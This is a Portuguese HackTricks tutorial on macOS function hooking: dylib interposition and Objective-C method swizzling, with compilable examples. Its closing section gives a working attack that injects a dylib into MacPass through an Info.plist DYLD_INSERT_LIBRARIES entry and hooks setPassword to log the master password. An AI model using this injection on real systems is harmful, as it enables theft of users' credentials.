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# Hooking de Funções no macOS
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<details>
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<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Outras formas de apoiar o HackTricks:
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- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
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- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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## Interposição de Funções
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Crie um **dylib** com uma seção **`__interpose` (`__DATA___interpose`)** (ou uma seção marcada com **`S_INTERPOSING`**) contendo tuplas de **ponteiros de função** que se referem às funções **originais** e de **substituição**.
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Em seguida, **injete** a dylib com **`DYLD_INSERT_LIBRARIES`** (a interposição precisa ocorrer antes do carregamento do aplicativo principal). Obviamente, as [**restrições** aplicadas ao uso de **`DYLD_INSERT_LIBRARIES`** se aplicam aqui também](macos-library-injection/#check-restrictions).
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### Interpor printf
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{% tabs %}
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{% tab title="interpose.c" %}
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{% code title="interpose.c" overflow="wrap" %}
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```c
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// gcc -dynamiclib interpose.c -o interpose.dylib
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#include <stdio.h>
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#include <stdarg.h>
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int my_printf(const char *format, ...) {
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//va_list args;
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//va_start(args, format);
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//int ret = vprintf(format, args);
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//va_end(args);
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int ret = printf("Hello from interpose\n");
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return ret;
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}
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__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
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__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
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```
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{% endcode %}
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{% endtab %}
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{% tab title="hello.c" %}
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```c
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//gcc hello.c -o hello
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#include <stdio.h>
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int main() {
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printf("Hello World!\n");
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return 0;
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|
}
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```
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{% endtab %}
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{% tab title="interpose2.c" %}
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{% code overflow="wrap" %}
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```c
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// Just another way to define an interpose
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// gcc -dynamiclib interpose2.c -o interpose2.dylib
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#include <stdio.h>
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#define DYLD_INTERPOSE(_replacement, _replacee) \
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__attribute__((used)) static struct { \
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const void* replacement; \
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const void* replacee; \
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} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
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(const void*) (unsigned long) &_replacement, \
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|
(const void*) (unsigned long) &_replacee \
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};
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int my_printf(const char *format, ...)
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{
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int ret = printf("Hello from interpose\n");
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return ret;
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|
}
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|
DYLD_INTERPOSE(my_printf,printf);
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```
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{% endcode %}
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{% endtab %}
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{% endtabs %}
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```bash
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DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
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Hello from interpose
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DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
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Hello from interpose
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```
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{% hint style="warning" %}
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A variável de ambiente **`DYLD_PRINT_INTERPOSTING`** pode ser usada para depurar interposição e imprimir o processo de interposição.
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{% endhint %}
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Também observe que **a interposição ocorre entre o processo e as bibliotecas carregadas**, não funciona com o cache de bibliotecas compartilhadas.
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### Interposição Dinâmica
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Agora também é possível interpor uma função dinamicamente usando a função **`dyld_dynamic_interpose`**. Isso permite interpor programaticamente uma função em tempo de execução, em vez de fazê-lo apenas desde o início.
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Apenas é necessário indicar os **tuplos** da **função a ser substituída e a função de substituição**.
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```c
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struct dyld_interpose_tuple {
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const void* replacement;
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const void* replacee;
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};
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extern void dyld_dynamic_interpose(const struct mach_header* mh,
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const struct dyld_interpose_tuple array[], size_t count);
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```
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## Método Swizzling
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Em ObjectiveC é assim que um método é chamado: **`[instânciaDaMinhaClasse nomeDoMétodoPrimeiroParam:param1 segundoParam:param2]`**
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É necessário o **objeto**, o **método** e os **parâmetros**. E quando um método é chamado, uma **mensagem é enviada** usando a função **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(algumObjeto, @selector(metodo1p1:p2:), valor1, valor2);`
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O objeto é **`algumObjeto`**, o método é **`@selector(metodo1p1:p2:)`** e os argumentos são **valor1**, **valor2**.
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Seguindo as estruturas do objeto, é possível chegar a um **array de métodos** onde os **nomes** e **ponteiros** para o código do método estão **localizados**.
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{% hint style="danger" %}
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Note que porque os métodos e classes são acessados com base em seus nomes, essas informações são armazenadas no binário, então é possível recuperá-las com `otool -ov </caminho/bin>` ou [`class-dump </caminho/bin>`](https://github.com/nygard/class-dump)
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{% endhint %}
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### Acessando os métodos brutos
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É possível acessar as informações dos métodos, como nome, número de parâmetros ou endereço, como no exemplo a seguir:
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{% code overflow="wrap" %}
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```objectivec
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// gcc -framework Foundation test.m -o test
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#import <Foundation/Foundation.h>
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#import <objc/runtime.h>
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#import <objc/message.h>
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int main() {
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// Get class of the variable
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NSString* str = @"This is an example";
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Class strClass = [str class];
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NSLog(@"str's Class name: %s", class_getName(strClass));
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// Get parent class of a class
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Class strSuper = class_getSuperclass(strClass);
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NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
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// Get information about a method
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SEL sel = @selector(length);
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NSLog(@"Selector name: %@", NSStringFromSelector(sel));
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Method m = class_getInstanceMethod(strClass,sel);
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NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
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NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
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// Iterate through the class hierarchy
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NSLog(@"Listing methods:");
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Class currentClass = strClass;
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while (currentClass != NULL) {
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unsigned int inheritedMethodCount = 0;
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Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
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NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
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for (unsigned int i = 0; i < inheritedMethodCount; i++) {
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|
Method method = inheritedMethods[i];
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SEL selector = method_getName(method);
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|
const char* methodName = sel_getName(selector);
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unsigned long address = (unsigned long)method_getImplementation(m);
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|
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
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|
}
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// Free the memory allocated by class_copyMethodList
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free(inheritedMethods);
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|
currentClass = class_getSuperclass(currentClass);
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|
}
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// Other ways to call uppercaseString method
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|
if([str respondsToSelector:@selector(uppercaseString)]) {
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|
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
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|
NSLog(@"Uppercase string: %@", uppercaseString);
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|
}
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// Using objc_msgSend directly
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NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
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|
NSLog(@"Uppercase string: %@", uppercaseString2);
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// Calling the address directly
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|
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
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|
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
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|
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
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|
NSLog(@"Uppercase string: %@", uppercaseString3);
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return 0;
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|
}
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```
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### Troca de Método com method\_exchangeImplementations
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A função **`method_exchangeImplementations`** permite **alterar** o **endereço** da **implementação** de **uma função pela outra**.
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{% hint style="danger" %}
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Portanto, quando uma função é chamada, o que é **executado é a outra**.
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{% endhint %}
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{% code overflow="wrap" %}
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```objectivec
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//gcc -framework Foundation swizzle_str.m -o swizzle_str
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#import <Foundation/Foundation.h>
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#import <objc/runtime.h>
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// Create a new category for NSString with the method to execute
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@interface NSString (SwizzleString)
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- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
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@end
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@implementation NSString (SwizzleString)
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- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
|
NSLog(@"Custom implementation of substringFromIndex:");
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|
// Call the original method
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|
return [self swizzledSubstringFromIndex:from];
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|
}
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|
@end
|
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int main(int argc, const char * argv[]) {
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|
// Perform method swizzling
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|
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
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|
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
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|
method_exchangeImplementations(originalMethod, swizzledMethod);
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|
// We changed the address of one method for the other
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// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
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|
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
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// Example usage
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|
NSString *myString = @"Hello, World!";
|
|
NSString *subString = [myString substringFromIndex:7];
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|
NSLog(@"Substring: %@", subString);
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|
|
return 0;
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|
}
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|
```
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{% endcode %}
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{% hint style="warning" %}
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Neste caso, se o **código de implementação do método legítimo** verificar o **nome do método**, poderá **detectar** esse swizzling e impedir que ele seja executado.
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A técnica a seguir não tem essa restrição.
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{% endhint %}
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### Troca de Método com method\_setImplementation
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O formato anterior é estranho porque você está alterando a implementação de 2 métodos um do outro. Usando a função **`method_setImplementation`** você pode **alterar a implementação de um método para o outro**.
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Apenas lembre-se de **armazenar o endereço da implementação do original** se você for chamá-lo a partir da nova implementação antes de sobrescrevê-lo, pois posteriormente será muito mais complicado localizar esse endereço.
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{% code overflow="wrap" %}
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```objectivec
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#import <Foundation/Foundation.h>
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|
#import <objc/runtime.h>
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|
#import <objc/message.h>
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static IMP original_substringFromIndex = NULL;
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@interface NSString (Swizzlestring)
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|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
|
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|
@end
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|
@implementation NSString (Swizzlestring)
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|
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
|
NSLog(@"Custom implementation of substringFromIndex:");
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// Call the original implementation using objc_msgSendSuper
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return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
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|
}
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@end
|
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|
int main(int argc, const char * argv[]) {
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|
@autoreleasepool {
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// Get the class of the target method
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Class stringClass = [NSString class];
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|
// Get the swizzled and original methods
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|
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
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// Get the function pointer to the swizzled method's implementation
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IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
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// Swap the implementations
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// It return the now overwritten implementation of the original method to store it
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original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
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// Example usage
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NSString *myString = @"Hello, World!";
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|
NSString *subString = [myString substringFromIndex:7];
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NSLog(@"Substring: %@", subString);
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// Set the original implementation back
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method_setImplementation(originalMethod, original_substringFromIndex);
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|
return 0;
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|
}
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|
}
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```
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{% endcode %}
|
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## Metodologia de Ataque de Hooking
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Nesta página foram discutidas diferentes maneiras de fazer hook em funções. No entanto, todas elas envolvem **executar código dentro do processo para atacar**.
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Para fazer isso, a técnica mais fácil de usar é injetar um [Dyld via variáveis de ambiente ou sequestrar](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). No entanto, acredito que isso também poderia ser feito via [injeção de processo Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
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|
No entanto, ambas as opções são **limitadas** a **binários/processos desprotegidos**. Verifique cada técnica para aprender mais sobre as limitações.
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No entanto, um ataque de hooking de função é muito específico, um atacante fará isso para **roubar informações sensíveis de dentro de um processo** (caso contrário, você faria apenas um ataque de injeção de processo). E essas informações sensíveis podem estar localizadas em aplicativos baixados pelo usuário, como o MacPass.
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Assim, o vetor do atacante seria encontrar uma vulnerabilidade ou remover a assinatura do aplicativo, injetar a variável de ambiente **`DYLD_INSERT_LIBRARIES`** por meio do Info.plist do aplicativo adicionando algo como:
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```xml
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<key>LSEnvironment</key>
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<dict>
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<key>DYLD_INSERT_LIBRARIES</key>
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<string>/Applications/Application.app/Contents/malicious.dylib</string>
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|
</dict>
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```
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e então **re-registre** o aplicativo:
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{% code overflow="wrap" %}
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```bash
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|
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
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```
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{% endcode %}
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Adicione nessa biblioteca o código de hooking para exfiltrar as informações: Senhas, mensagens...
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{% hint style="danger" %}
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Note que em versões mais recentes do macOS, se você **remover a assinatura** do binário do aplicativo e ele foi executado anteriormente, o macOS **não irá mais executar o aplicativo**.
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{% endhint %}
|
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#### Exemplo de biblioteca
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{% code overflow="wrap" %}
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|
```objectivec
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// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
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|
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
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// Listen to the logs with something like:
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// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
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#include <Foundation/Foundation.h>
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#import <objc/runtime.h>
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// Here will be stored the real method (setPassword in this case) address
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static IMP real_setPassword = NULL;
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static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
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{
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// Function that will log the password and call the original setPassword(pass, file_path) method
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|
NSLog(@"[+] Password is: %@", password);
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// After logging the password call the original method so nothing breaks.
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return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
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|
}
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// Library constructor to execute
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|
__attribute__((constructor))
|
|
static void customConstructor(int argc, const char **argv) {
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|
// Get the real method address to not lose it
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|
Class classMPDocument = NSClassFromString(@"MPDocument");
|
|
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
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|
|
|
// Make the original method setPassword call the fake implementation one
|
|
IMP fake_IMP = (IMP)custom_setPassword;
|
|
real_setPassword = method_setImplementation(real_Method, fake_IMP);
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|
}
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|
```
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|
{% endcode %}
|
|
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## Referências
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* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
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<details>
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Outras maneiras de apoiar o HackTricks:
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* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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